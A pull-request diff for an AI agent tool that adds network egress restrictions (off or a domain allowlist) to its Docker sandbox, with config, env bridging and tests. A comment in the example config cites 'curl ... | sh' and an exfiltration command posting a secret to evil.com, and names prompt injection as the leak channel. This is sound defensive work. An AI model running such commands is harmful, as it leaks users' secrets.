Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 30 additions & 0 deletions cli-config.yaml.example
Original file line number Diff line number Diff line change
Expand Up @@ -315,6 +315,36 @@ terminal:
container_memory: 5120 # Memory in MB (5120 = 5GB)
container_disk: 51200 # Disk in MB (51200 = 50GB)
container_persistent: true # Persist filesystem across sessions (false = ephemeral)
#
# --- Sandbox egress control (docker backend) ---
# SECURITY: the approval gate (tools/approval.py) blocks destructive commands and
# remote-code-execution (`curl ... | sh`), but does NOT block outbound data
# exfiltration (`curl -X POST evil.com -d @secret`). Network egress is the channel
# a prompt-injection would use to leak data. Restrict it for untrusted workloads.
# "on" - full network (default, current behavior)
# "off" - no network at all (--network=none)
# "allowlist" - HTTP(S) only, routed through a domain-filtered proxy on an
# internal network; raw/non-proxied egress has no route out.
# Any other value fails closed to "off" (a typo never grants full network).
# Scope: this controls Hermes' Docker terminal backend only. The Codex
# app-server runtime executes in Codex's own sandbox and is not covered by
# this Docker allowlist; use Codex's network policy or `/codex-runtime auto`
# when this allowlist is a required boundary.
container_network: "on"
# Domains reachable in "allowlist" mode (no scheme/path; leading "*." wildcard ok;
# IP literals must match exactly). Empty list + allowlist mode = deny-all.
# Example below allows package installs + git:
# container_network: "allowlist"
# container_network_allowlist:
# - "pypi.org"
# - "files.pythonhosted.org"
# - "registry.npmjs.org"
# - "github.com"
# - "objects.githubusercontent.com"
#
# The proxy container/network (label "hermes.egress") is shared per-allowlist
# and pruned automatically when no sandbox uses it. Manual cleanup:
# docker ps -a --filter label=hermes.egress / docker network ls --filter label=hermes.egress

# -----------------------------------------------------------------------------
# SUDO SUPPORT (works with ALL backends above)
Expand Down
2 changes: 2 additions & 0 deletions cli.py
Original file line number Diff line number Diff line change
Expand Up @@ -630,6 +630,8 @@ def load_cli_config() -> Dict[str, Any]:
"docker_volumes": "TERMINAL_DOCKER_VOLUMES",
"docker_env": "TERMINAL_DOCKER_ENV",
"docker_extra_args": "TERMINAL_DOCKER_EXTRA_ARGS",
"container_network": "TERMINAL_CONTAINER_NETWORK",
"container_network_allowlist": "TERMINAL_CONTAINER_NETWORK_ALLOWLIST",
"docker_mount_cwd_to_workspace": "TERMINAL_DOCKER_MOUNT_CWD_TO_WORKSPACE",
"docker_network": "TERMINAL_DOCKER_NETWORK",
"docker_run_as_host_user": "TERMINAL_DOCKER_RUN_AS_HOST_USER",
Expand Down
2 changes: 2 additions & 0 deletions gateway/run.py
Original file line number Diff line number Diff line change
Expand Up @@ -1587,6 +1587,8 @@ def _platform_has_bot_credential(platform: "Platform", platform_config: "Platfor
"docker_run_as_host_user": "TERMINAL_DOCKER_RUN_AS_HOST_USER",
"docker_persist_across_processes": "TERMINAL_DOCKER_PERSIST_ACROSS_PROCESSES",
"docker_orphan_reaper": "TERMINAL_DOCKER_ORPHAN_REAPER",
"container_network": "TERMINAL_CONTAINER_NETWORK",
"container_network_allowlist": "TERMINAL_CONTAINER_NETWORK_ALLOWLIST",
"sandbox_dir": "TERMINAL_SANDBOX_DIR",
"persistent_shell": "TERMINAL_PERSISTENT_SHELL",
}
Expand Down
16 changes: 16 additions & 0 deletions hermes_cli/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -1233,6 +1233,13 @@ def _ensure_hermes_home_managed(home: Path):
"container_memory": 5120, # MB (default 5GB)
"container_disk": 51200, # MB (default 50GB)
"container_persistent": True, # Persist filesystem across sessions
# Sandbox egress control (docker backend): "on" = full network (default),
# "off" = no network (--network=none), "allowlist" = HTTP(S) only through a
# domain-filtered proxy on an internal network (blocks arbitrary exfiltration).
"container_network": "on",
# Domains reachable in "allowlist" mode (no scheme/path; "*." wildcard ok).
# Empty list with allowlist mode means deny-all egress.
"container_network_allowlist": [],
# Docker volume mounts — share host directories with the container.
# Each entry is "host_path:container_path" (standard Docker -v syntax).
# Example:
Expand Down Expand Up @@ -7058,6 +7065,8 @@ def write_platform_config_field(
"docker_run_as_host_user": "TERMINAL_DOCKER_RUN_AS_HOST_USER",
"docker_persist_across_processes": "TERMINAL_DOCKER_PERSIST_ACROSS_PROCESSES",
"docker_orphan_reaper": "TERMINAL_DOCKER_ORPHAN_REAPER",
"container_network": "TERMINAL_CONTAINER_NETWORK",
"container_network_allowlist": "TERMINAL_CONTAINER_NETWORK_ALLOWLIST",
"sandbox_dir": "TERMINAL_SANDBOX_DIR",
"persistent_shell": "TERMINAL_PERSISTENT_SHELL",
}
Expand Down Expand Up @@ -8191,6 +8200,13 @@ def show_config():

if terminal.get('backend') == 'docker':
print(f" Docker image: {terminal.get('docker_image', 'nikolaik/python-nodejs:python3.11-nodejs20')}")
network = terminal.get('container_network', 'on')
if network == 'allowlist':
allowlist = terminal.get('container_network_allowlist', []) or []
print(f" Egress: allowlist ({len(allowlist)} domain(s))" if allowlist
else f" Egress: allowlist {color('(empty = deny-all)', Colors.DIM)}")
else:
print(f" Egress: {network}")
elif terminal.get('backend') == 'singularity':
print(f" Image: {terminal.get('singularity_image', 'docker://nikolaik/python-nodejs:python3.11-nodejs20')}")
elif terminal.get('backend') == 'modal':
Expand Down
1 change: 1 addition & 0 deletions scripts/release.py
Original file line number Diff line number Diff line change
Expand Up @@ -2020,6 +2020,7 @@
"1torhan@protonmail.com": "uzaylisak", # PR #29988 salvage (detect_local_server_type process-lifetime cache)
"zhchl@hermes-agent.local": "8294", # PR #50572 salvage (honor config context_length on banner)
"yansh2017@gmail.com": "ya-nsh", # PR #26790 salvage (normalize local terminal relative cwd; #26783)
"s.suzuki784@hotmail.com": "suzu784", # sandbox egress control / kanban empty-diff guard PRs
}


Expand Down
40 changes: 39 additions & 1 deletion tests/gateway/test_config_env_bridge_authority.py
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,8 @@ def _run_gateway_import(hermes_home: Path, initial_env: dict[str, str]) -> dict[
"HERMES_GATEWAY_BUSY_TEXT_MODE",
"HERMES_GATEWAY_PLATFORM_CONNECT_TIMEOUT",
"HERMES_TIMEZONE",
"TERMINAL_CONTAINER_NETWORK",
"TERMINAL_CONTAINER_NETWORK_ALLOWLIST",
):
v = os.environ.get(k)
if v is not None:
Expand Down Expand Up @@ -82,7 +84,8 @@ def _run_gateway_import(hermes_home: Path, initial_env: dict[str, str]) -> dict[


def _write_config(home: Path, agent_cfg: dict | None = None, display_cfg: dict | None = None,
timezone: str | None = None, gateway_cfg: dict | None = None) -> None:
timezone: str | None = None, gateway_cfg: dict | None = None,
terminal_cfg: dict | None = None) -> None:
import yaml
cfg: dict = {}
if agent_cfg:
Expand All @@ -91,6 +94,8 @@ def _write_config(home: Path, agent_cfg: dict | None = None, display_cfg: dict |
cfg["display"] = display_cfg
if gateway_cfg:
cfg["gateway"] = gateway_cfg
if terminal_cfg:
cfg["terminal"] = terminal_cfg
if timezone:
cfg["timezone"] = timezone
(home / "config.yaml").write_text(yaml.safe_dump(cfg))
Expand Down Expand Up @@ -190,6 +195,39 @@ def test_config_platform_connect_timeout_supplies_env_when_unset(hermes_home: Pa
assert env.get("HERMES_GATEWAY_PLATFORM_CONNECT_TIMEOUT") == "90"


def test_gateway_bridge_exports_egress_env_vars(hermes_home: Path) -> None:
"""terminal.container_network* must cross the import-time bridge into the
env vars terminal_tool._get_env_config() reads, JSON-encoding the list.

The egress sandbox layer once shipped fully unit-tested but inert because
the startup bridges never mapped these keys — this drives the real bridge
instead of asserting on source text."""
_write_config(hermes_home, terminal_cfg={
"backend": "docker",
"container_network": "allowlist",
"container_network_allowlist": ["github.com", "pypi.org"],
})

env = _run_gateway_import(hermes_home, initial_env={})

assert env.get("TERMINAL_CONTAINER_NETWORK") == "allowlist"
assert env.get("TERMINAL_CONTAINER_NETWORK_ALLOWLIST") == '["github.com", "pypi.org"]'


def test_gateway_bridge_egress_config_wins_over_stale_env(hermes_home: Path) -> None:
"""A stale .env TERMINAL_CONTAINER_NETWORK must not weaken config.yaml's
egress lockdown — terminal keys are config-authoritative."""
_write_config(hermes_home, terminal_cfg={
"backend": "docker",
"container_network": "off",
})
_write_env(hermes_home, {"TERMINAL_CONTAINER_NETWORK": "on"})

env = _run_gateway_import(hermes_home, initial_env={})

assert env.get("TERMINAL_CONTAINER_NETWORK") == "off"


def test_env_platform_connect_timeout_wins_over_config(hermes_home: Path) -> None:
"""Unlike the agent.*/display.*/timezone bridges (config-authoritative),
HERMES_GATEWAY_PLATFORM_CONNECT_TIMEOUT is the manual-override escape hatch:
Expand Down
Loading